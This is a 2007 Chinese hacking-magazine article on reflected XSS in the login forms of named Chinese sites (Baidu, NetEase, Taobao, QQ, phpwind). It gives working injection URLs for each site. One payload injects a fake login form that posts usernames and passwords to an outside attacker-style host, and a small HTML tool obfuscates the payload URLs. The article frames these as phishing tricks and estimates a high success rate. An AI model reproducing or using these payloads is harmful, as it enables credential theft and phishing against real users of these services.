Input XSS最新漏洞及利用

发表于《黑客防线》07年01期
作者:梦之光芒(Monyer)

快过年了,所以文章开头忍不住要罗嗦几句。首先当然是要祝大家新年快乐(省略若干新年贺词);然后就是把工作放一放,多回家看看!既然是新一年的文章, Monyer当然不会忘记给大家带来新的漏洞;接着我们的ajax hacking,我们依然要谈XSS,不过这回的利用漏洞一定会让你感到惊喜!
我们知道如果要使XSS能够实现,则我们的代码必须通过某种方式嵌入到对方的网页中。像注入漏洞的“’”“and 1=1”“and 1=2”一样,Input XSS也有自己的漏洞检测字符串——“<>”“<iframe>”“<script>alert(/xss/) </script>”。如果当你在Input框中输入“<>”并在新页面的源代码中找到这对标签的话,那么基本上说明它有 Input XSS漏洞;而“<iframe>”是它的可视化检测方式;而如果“<script>alert(/xss/)< /script>”能够实现则证明该页面可以实行脚本攻击,但是否可以被插入脚本在本次的测试里亦不是非常重要,后面你将会知道。
传统的对于Input实行XSS攻击的漏洞一般被利用在一个站点的搜索框上,譬如:http://v.baidu.com/srh.php?if=1&word=%3Ciframe%3E(如图1)

图表 1
而新的漏洞则存在于用户登录界面上。由于现在大部分站点的登录系统为了方便用户,采取将输错的用户名返回通知用户的方式,但却没有对通知信息进行过滤,导致跨站攻击的产生。简单来说就是:你在用户名处输入“I Am Monyer”,但返回给你的结果是“对不起!I Am Monyer这个用户名不存在”或者是返回原页面仅对密码框内容进行清空但却依然保留在用户名框中你所输入的用户名;这样当你在用户名处输入“< iframe>”,该代码会在返回页中执行,跨站即产生。
我们下面将对国内的几个大站点进行检测,之所以没有针对国外是因为这个漏洞依然是具有“中国特色”的。
百度passport登录XSS
百度这么大网站,好事自然少不了它。来到passport直接在用户名处输入“<>”提交后查看源代码,我们发现它没有对html标签进行过滤或转换而是直接反馈给了我们,这令我们有机可乘。(如图2)

图表 2
我们直接通过URL构造XSS代码(因为input输入框一般都有长度限制):http://passport.baidu.com/?login&username="><script>alert(/xss/)</script><&password=123并提交(如图3)

图表 3
我们会看到我们已经把代码填补成:
<input type="text" name="username" id="username" value="\"><script>alert(/xss/)</script><" class="ip"/>(这里要注意:百度会把引号转换成斜杠+引号)
而如果我们加一行代码只负责把form的action进行转向的话,那么当用户再次填写用户名和密码时就会直接发送到我们构造的页面,然后我们再在自己构造的页面上把页面转向回来,这样用户以为自己输入的密码错误而不会引起任何嫌疑。由于危险性比较大,这里我就不给具体实施代码了,有兴趣的朋友可以到12 黑防看我的《ajax hacking with XSS》。
以上代码如果转换成http://passport.baidu.com/?login&username=%0D%0A%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E%3C&password
会更具有迷惑性,因为通常在百度里passport的转向代码都是:http://passport.baidu.com/?login&tpl=sp&tpl_reg=sp&u=http://hi.baidu.com/monyer
这样。

网易通行证XSS
如果说百度passport由于替换了引号导致在构造xss代码时有些困难,那么网易的通行证算是为我们想得相当周到了——什么过滤措施都没有。首先在通行证处顺便填入用户名密码看是否有返回用户名,结果我们发现我们输入的内容被原封不动的返回过来了,而如果构造https://reg.163.com/logins.jsp?username="><script>alert('xss')</script><&password依然会顺利执行(如图4)

图表 4
这样我们可以简单构造如下代码(如图5):
https://reg.163.com/logins.jsp?username=" type=hidden /></td></tr></table></FORM><FORM action=http://www.hacker.com.cn/userandpass.asp method=post name=form><TABLE cellSpacing=0 cellPadding=0 width=212 border=0 align=center><tr><td class=p2 align=right height=30 width=90><FONT color=065EC8>用户名:</FONT></td><td><INPUT name=username value="" size=15 maxLength=18 class=bbox></td></tr><tr><td><input name=noting type=hidden value="&password

图表 5
当然这段代码还不够好,一是没有进行encode编码,二是会多显示一个用户名。但即使这样,依然具有极强的迷惑性不是么?这个就是我所要说的,不用js进行攻击,当然如果用js实现那么效果就会更好了。(如图6)

图表 6
其他网站XSS
接下来我们看看其他的网站又如何呢?
我们先来看看能和钱挂上钩的——淘宝网,在html中获取会员名及密码的表单name后,构造如下url:http://member1.taobao.com/member/login.jhtml?TPL_username="><script>alert('xss')</script><&password(如图7)

图表 7
怎么样?害怕了吧!它的返回比网易还简单,构造一个虚假的页面显然没有问题,而且其中并没有任何跨域的问题,这种方式钓鱼估计上钩率会达到80%以上。
接下来是我们可爱的qq,想找到Input XSS同样不是难题。构造如下url依然可以达到跨站目的http://appastro.qq.com/cgi-bin/astro_card?id=zh&year=2006&month=12&day=09<script>alert('xss')</script>(如图8)

图表 8
同样的漏洞出现在最近漏洞百出的phpwind系统上,下面是对其官方站点的测试:

图表 9
还有一些网站就不在此一一介绍了。关于将上面url进行编码,你可以把如下代码写成html文件进行encode转换:
<html><head><script>
function doit(f){
var o=document.getElementById('txt');
if(o) o.innerText=f(o.innerText);
}</script></head>
<body>
<textarea id='txt' cols=100 rows=35></textarea><br />
<input type='button' value='escape' onclick='doit(escape)'>
<input type='button' value='unescape' onclick='doit(unescape)'>
</body></html>
在这次的测试中,我们也对微软和google的登录系统进行了检测,几乎所有的国外的登录系统都没有这个问题!他们都会把“<>”之类的危险标签转换为“<>”。而这次的跨站漏洞没有调用任何页面,也没有对网站添加任何数据,就对登录页面进行了伪造。所以后果还是相当严重的。好了,文章就到这里,祝大家能玩出新花样来!

相关日志

发表评论